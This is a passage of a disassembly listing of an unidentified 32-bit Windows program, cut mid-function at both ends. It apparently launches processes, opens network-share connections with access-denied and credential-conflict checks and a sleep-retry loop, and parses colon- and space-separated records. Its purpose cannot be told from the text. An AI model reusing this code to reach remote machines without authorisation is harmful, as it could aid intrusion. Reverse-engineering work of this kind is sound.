arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		call	near ptr 28304C1h
		nop
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C110	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C180:				; CODE XREF: ___:00401875j
		sub	esp, 354h
		mov	eax, off_443E6C
		mov	ecx, dword_443E70
		mov	[esp+0], eax
		mov	al, byte_446F20
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443E74
		rep stosd
		mov	ecx, off_443E64
		mov	[esp+10h], edx
		mov	dx, word_443E68
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		call	near ptr 27E0000h
		nop
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50BB3C
		push	offset dword_50BB3C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_437038
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C268
		cmp	eax, 4C3h
		jnz	short loc_41C271


loc_41C268:				; CODE XREF: ___:0041C25Fj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_437038
; ---------------------------------------------------------------------------


loc_41C271:				; CODE XREF: ___:0041C266j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C288
		cmp	eax, 4C3h
		jz	short loc_41C288
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C288:				; CODE XREF: ___:0041C276j
					; ___:0041C27Dj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C2F0:				; CODE XREF: ___:00401EC9j
		sub	esp, 354h
		mov	eax, off_443E6C
		mov	ecx, dword_443E70
		mov	[esp+0], eax
		mov	al, byte_446F20
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443E74
		rep stosd
		mov	ecx, off_443E64
		mov	[esp+10h], edx
		mov	dx, word_443E68
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 27E0000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_43703E
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C3D8
		mov	esi, dword_50F8D0


loc_41C3BC:				; CODE XREF: ___:0041C3D6j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_43703E
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C3BC


loc_41C3D8:				; CODE XREF: ___:0041C3B4j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C430	proc near		; CODE XREF: sub_401D7Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_41C430	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C6B0	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C6B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_401424
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401424
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401424
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401424
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B36
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C8DC
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D241
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C4C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C86C
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C86E
; ---------------------------------------------------------------------------


loc_41C86C:				; CODE XREF: sub_41C6B0+1AFj
		xor	edi, edi


loc_41C86E:				; CODE XREF: sub_41C6B0+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C8DC:				; CODE XREF: sub_41C6B0+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CA5B
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D241
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C4C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41C9EB
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C9ED
; ---------------------------------------------------------------------------


loc_41C9EB:				; CODE XREF: sub_41C6B0+32Ej
		xor	edi, edi


loc_41C9ED:				; CODE XREF: sub_41C6B0+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41CA5B:				; CODE XREF: sub_41C6B0+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CC96
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D241
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C4C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44754A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CBFE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D2B2
; ---------------------------------------------------------------------------


loc_41CBFE:				; CODE XREF: sub_41C6B0+4D6j
		push	94h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC26
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CC28
; ---------------------------------------------------------------------------


loc_41CC26:				; CODE XREF: sub_41C6B0+569j
		xor	edi, edi


loc_41CC28:				; CODE XREF: sub_41C6B0+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CC96:				; CODE XREF: sub_41C6B0+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE3B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D241
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CDAE
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CDB0
; ---------------------------------------------------------------------------


loc_41CDAE:				; CODE XREF: sub_41C6B0+6F1j
		xor	edi, edi


loc_41CDB0:				; CODE XREF: sub_41C6B0+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CE3B:				; CODE XREF: sub_41C6B0+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CFE0
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D241
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CF53
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CF55
; ---------------------------------------------------------------------------


loc_41CF53:				; CODE XREF: sub_41C6B0+896j
		xor	edi, edi


loc_41CF55:				; CODE XREF: sub_41C6B0+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CFE0:				; CODE XREF: sub_41C6B0+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D241
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D241
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44754A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D18C
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D2B2
; ---------------------------------------------------------------------------


loc_41D18C:				; CODE XREF: sub_41C6B0+A64j
		push	94h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D1B4
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41D1B6
; ---------------------------------------------------------------------------


loc_41D1B4:				; CODE XREF: sub_41C6B0+AF7j
		xor	edi, edi


loc_41D1B6:				; CODE XREF: sub_41C6B0+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FBE
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
